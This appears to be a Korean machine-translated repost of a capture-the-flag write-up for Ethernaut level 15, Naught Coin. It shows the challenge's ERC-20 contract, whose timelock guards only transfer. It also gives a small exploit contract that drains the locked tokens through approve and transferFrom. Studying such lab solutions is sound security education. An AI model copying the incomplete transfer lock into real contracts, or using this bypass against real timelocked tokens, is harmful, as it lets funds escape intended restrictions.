Ethernaut: 15. Naught 코인
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
여기 우리 손에 간단한 ERC-20 계약이 있어 누군가에게 돈을
transfer
주지 않습니다. 그러나 이것은 우리가 approve
그 누군가를 막지 못하고 그들이 transferFrom
에 전화하여 우리 돈을 가져가도록 합니다. 그것이 바로 우리가 할 일입니다. 간단한 계약을 생성하고 배포합니다.// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol";
contract NaughtWithdraw {
function withdrawFrom(address _tokenAddr, address _from, uint _amount) public {
bool success = IERC20(_tokenAddr).transferFrom(_from, address(this), _amount);
require(success, "failed!");
}
}
그런 다음 이 주소에 대한 모든 토큰을 승인하고 해당 매개변수로
withdrawFrom
를 호출합니다.
Reference
이 문제에 관하여(Ethernaut: 15. Naught 코인), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-15-naught-coin-9ja텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)